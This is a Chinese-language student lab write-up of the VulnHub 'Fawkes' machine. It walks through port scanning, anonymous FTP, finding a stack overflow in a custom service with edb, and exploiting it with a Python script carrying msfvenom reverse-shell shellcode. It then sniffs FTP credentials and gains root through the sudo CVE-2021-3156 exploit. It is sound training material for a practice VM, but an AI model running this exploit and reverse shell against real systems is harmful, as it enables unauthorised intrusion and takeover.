【渗透测试】第七周 vulnhub-Fawkes
网络攻防实战 第七次实验
2022年11月2日
一、实验目的
取得目标靶机的 root 权限并获得三个 flag。
我们将使用到以下攻击手段:
- 主机发现、端口扫描
- FTP匿名登录
- edb 调试程序
- 栈溢出攻击
- tcpdump 流量分析
- sudo 漏洞提权
二、实验内容
kali: 10.0.2.15
靶机: 10.0.2.11
0x00. 准备工作
获取靶机 IP 并扫描其开放的端口以及个端口上对应的服务:
1
2
3sudo arp-scan -I eth0 -l
sudo nmap -p- 10.0.2.11
sudo nmap -p21,22,80,2222,9898 -sV 10.0.2.11 -A发现两个比较特殊的端口:
21 - ftp 服务并允许匿名登录获取文件
server_hogwarts
;9898 - 一个自定义的服务。
访问80端口并查看网页源码,发现只有一张图片,并没有其他有价值的信息:
0x01. FTP 匿名登录
查看我们端口扫描获取的信息:
说明该 FTP 服务可以使用用户名
Anonymous
无密码登入并可以查看文件server_hogwarts
。通过 FTP 登入靶机并使用 get 指令下载上述文件:
1
2ftp 10.0.2.11
get server_hogwarts查看文件类型,发现是一个 ELF 可执行文件:
1
file server_hogwarts
给予执行权限,尝试执行:
发现什么都没有输出,但是 shell 阻塞住了并没有退出,说明该程序确实启动了。
查看后台进程:
1
ps -aux | grep server # 显示名字包含server的所有进程
发现该程序确实创建了后台进程。
查看该进程的连接信息:
1
ss -pantu | grep server_hogwarts
发现该进程运行在9898端口上,联想到靶机9898端口上的自定义服务,推测该程序即为靶机9898端口上所运行的服务。
使用
nc
命令监听该端口:发现我们可以进行输入,推测存在栈溢出攻击。
0x02. 栈溢出攻击
使用
checksec
工具查看该文件开启了哪些保护机制:安装:$ apt install checksec
1
file server_hogwarts
STACK CANARY
:在初始化堆栈时在栈底插入一个随机生成的 cookie,在函数返回前调用__stack_chk_fail
检查 cookie 有没有发生变化,若发生变化则不返回,而直接终止程序。由于缓冲区溢出攻击时往往会覆盖掉 cookie 的值,故该保护机制开启时会导致常规的溢出攻击失效,程序会直接终止而不是跳转至攻击者注入的目标地址。NX
:开启时栈中数据没有执行权限,即攻击者不能通过缓冲区溢出注入攻击代码;PIE
:编译时将程序编译为位置无关, 即程序运行时各个段(如代码段等)加载的虚拟地址也是在装载时才确定,使程序的内存布局难以预料。
参考:checksec
NX
、PIE
关闭,我们可以尝试注入反弹 shell 的代码并使其被执行,从而获取反弹 shell。STACK CANARY
被开启了,意味着注入时我们也许要针对其进行某种绕过,先不管它。将 kali 本机上的 ALSR 安全机制关闭,该技术会导致地址空间随机化,不便于调试:
1
# echo 0 > /proc/sys/kernel/randomize_va_space
使用
edb
对当前程序进行调试,探测注入点:安装:$ apt install edb-debugger
1
sudo edb
点击
File-> Attach
:选择目标进程:
点击运行:
使用 python 生成500个“A”,并在监听窗口进行输入:
1
python -c "print(500*'A')"
触发报错且看到“0x41414141”,查看此时 EIP 寄存器的值:
发现变成了
0x41414141
,而 ‘0x41’ 为 ‘A’ 的十六进制编码,说明我们输入的字符成功覆盖了函数返回地址,导致程序发生了错误跳转。“诶?不是说这个程序开启了
STACK CANARY
保护机制,会对栈溢出做检查吗?为什么直接注入就成了?”重新执行上述操作,并重新监听9898端口。点击单步调试:
同样输入500个A, 回到
edb
继续追踪,直到触发错误,记录此时的指令地址:发现在追踪的过程中没有调用
__stack_chk_fail
函数检查 cookie 的正确性。通过objdump
查看其反汇编代码进一步确认,发现原来__stack_chk_fail
只在一部分函数返回前被调用了,而在注入点所在的函数中未被调用,因此我们可以正常进行注入。综上,
Canary found
仅代表程序中存在检查机制,而不一定在所有的ret
语句前都做了检查。在进行渗透测试时应先尝试注入,不要被一些未验证的细节限制了思路。使用
msf-pattern
工具进行溢出点在输入字符串中位置的探测:1
msf-pattern_create -l 500 # 生成长度为500的模式字符串
重新程序并重新开始调试,将生成的模式字符串作为输入:
提示我们此时 EIP 中的值为
0x64413764
,即我们输入的字符串中编码为“\x64\x41\x37\x64”的字串进入了 EIP 中。查找该段编码对应的字符串在模式字符串中的偏移量:1
msf-pattern_offset -l 500 -q 64413764
也就是说从模式字符串中的第113个字符串开始造成了栈溢出。
使用 python 生成一段自定义字符串进行验证:
1
python -c "print(112*'A' + 'BBBB' + 100*'C')"
将生成的字符串输入后,查看 EIP 和栈中的值:
发现第113、114、115、116个字符(“BBBB”)恰好进入 EIP,而其后的字符保留在栈中。
设想将反弹 shell 代码注入栈中,而使程序跳转到栈中执行(
jmp esp
),即可令靶机上的程序执行反弹 shell 代码生成反弹 shell。寻找原程序中的
jmp esp
指令,打开edb
的Opcode Search
:选择一个可执行段,然后选择搜索
ESP -> EIP
:找到
jmp esp
指令并记录其地址(0x08049d55
):构造注入字符串:
1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.2.15 LPORT=4444 -b "\x00" -f py
LHOST
:改为 kali 的 IP;LPORT
:改为监听反弹 shell 的端口号;-b "\x00"
:过滤坏字符(’\0’),避免输入提前终止。
编写注入脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import struct, socket
buf = b""
buf += b"\xd9\xec\xbe\xe7\x1d\x4c\x47\xd9\x74\x24\xf4\x5f"
buf += b"\x29\xc9\xb1\x12\x31\x77\x17\x03\x77\x17\x83\x08"
buf += b"\xe1\xae\xb2\xe7\xc1\xd8\xde\x54\xb5\x75\x4b\x58"
buf += b"\xb0\x9b\x3b\x3a\x0f\xdb\xaf\x9b\x3f\xe3\x02\x9b"
buf += b"\x09\x65\x64\xf3\x83\x95\x94\x0c\xfc\x97\x98\x03"
buf += b"\xa0\x1e\x79\x93\x3e\x71\x2b\x80\x0d\x72\x42\xc7"
buf += b"\xbf\xf5\x06\x6f\x2e\xd9\xd5\x07\xc6\x0a\x35\xb5"
buf += b"\x7f\xdc\xaa\x6b\xd3\x57\xcd\x3b\xd8\xaa\x8e"
payload = 112 * b'A' + struct.pack('I',0x08049d55) + 32 * b'\x90' + buf
s=socket.socket()
s.connect(('10.0.2.11',9898))
s.send((payload))
s.close()关于上述脚本,我们在栈溢出跳转地址和攻击代码之间加入了一长串空指令
nop
(\x90
)。至于为什么一定要加上这一段,我们先看看运行注入代码时发生了什么。在本地调试时,上述脚本中 connect 的 IP 参数要更改为 127.0.0.1
程序成功跳转到
jmp esp
指令时,观察栈中数据,发现从08049d55
(我们注入的jmp esp
指令地址)之后紧接着就是我们加入的32个\x90
。接着往下看,当程序运行到
fnstenv [esp - 0xc]
指令时,栈中数据发生了变化,部分空指令被新数据覆盖:注入代码中存在指令修改了栈顶数据,若不加空指令,我们的注入代码本身就处于栈顶,则会在执行过程中将自身的代码覆盖掉。添加空指令之后,EIP 会沿着空指令一直增长到真正的注入代码,而 ESP 不变,使 EIP 与 ESP 拉开一定的距离,一定程度上保证注入在栈中的代码不会被修改。
故在注入时加入一段空指令可以提高程序稳定性,一般加入的空指令数为4的倍数。
监听 4444 端口,执行上述脚本,获取反弹 shell:
0x03. 信息收集
发现当前用户的主目录下存在隐藏文件:
查看该文件内容:
HarrYp0tter@Hogwarts123
疑似某个密码,联想此前靶机上开放的 ssh 端口,尝试通过 ssh 登录靶机。
首先通过22端口登录,发现登录失败;转而通过2222端口登录,发现登录成功:
查看用户权限:
1
sudo -l
发现当前用户可以不使用密码通过
sudo
执行所有命令。使用
sudo -i
指令直接提权,并发现 root 账号主目录下存在两个文件:查看当前环境 IP:
根据
lab2
的经验,我们进入的可能是一个docker
容器而非靶机本身。查看此前发现的两个文件:
horcrux1.txt:horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}
note.txt:
Hello Admin!!
We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.
第一个文件为我们发现的第一个 Flag,第二个文件为一些提示,提示我们需要监听靶机 FTP 服务的流量,即靶机21端口的流量。
0x04. tcpdump 流量分析
使用
tcpdump
命令监听靶机21端口:1
tcpdump -i eth0 port 21
等待片刻后发现输出了一些流量记录:
发现其握手信息中包含用户名和密码。
- USER:
neville
- PASS:
bL!Bsg3k
- USER:
尝试使用上述用户名和密码通过靶机的22端口登入靶机:
成功登录后,通过 IP 信息发现此时环境为真正的靶机。
查看当前路径下的文件,获取第二个 Flag:
- horcrux2.txt:horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
0x05. sudo 漏洞提权
查看内核与 sudo 版本信息:
上网搜索相关的漏洞信息,最终发现针对当前版本 sudo 的一个漏洞及其利用代码:
CVE-2021-3156
: Heap-Based Buffer Overflow in Sudo (Baron Samedit)利用代码:https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py
将此处 sudo 的路径更改为靶机上 sudo 的路径:
在 kali 上开启 web 应用,将该文件上传至靶机运行:
成功提权!
前往靶机的
/root/
路径,发现第三个 Flag:
三、实验结果
Flag1:horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}
Flag2:horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
Flag3:
root 权限:
四、总结
- 从端口服务信息中得知靶机 FTP 服务允许匿名登录,尝试匿名登录,通过 get 指令下载文件
server_hogwarts
,发现是一个可执行文件; - 试运行该程序,推测该程序与靶机 9898 端口所运行服务的程序相同;
- 使用
edb
对该程序进行调试,发现栈溢出攻击注入点,并编写注入脚本,向靶机 9898 端口服务注入反弹 shell 代码; - 成功获取反弹 shell,在当前用户主目录的隐藏文件中发现可用于 ssh 登录的密码;
- 使用 ssh 通过靶机 2222端口登录后,发现位于一个容器中,且当前用户可以直接使用
sudo -i
进行提权。在当前容器 root 用户的主目录中发现第一个 Flag; - 使用
tcpdump
监听容器 21 端口的流量,发现 FTP 的握手过程包含了用户名和密码,猜测可以用来通过 ssh 登入靶机。尝试后成功通过22端口进入靶机; - 在靶机当前用户的主目录下发现第二个 Flag;
- 查看发行版本以及
sudo
版本,上网查找相关漏洞,最终找到可用的漏洞利用代码。简单修改后,从 kali 上传靶机,在靶机执行后成功获取 root 权限。 - 在靶机 root 用户的主目录下,发现最后一个 Flag。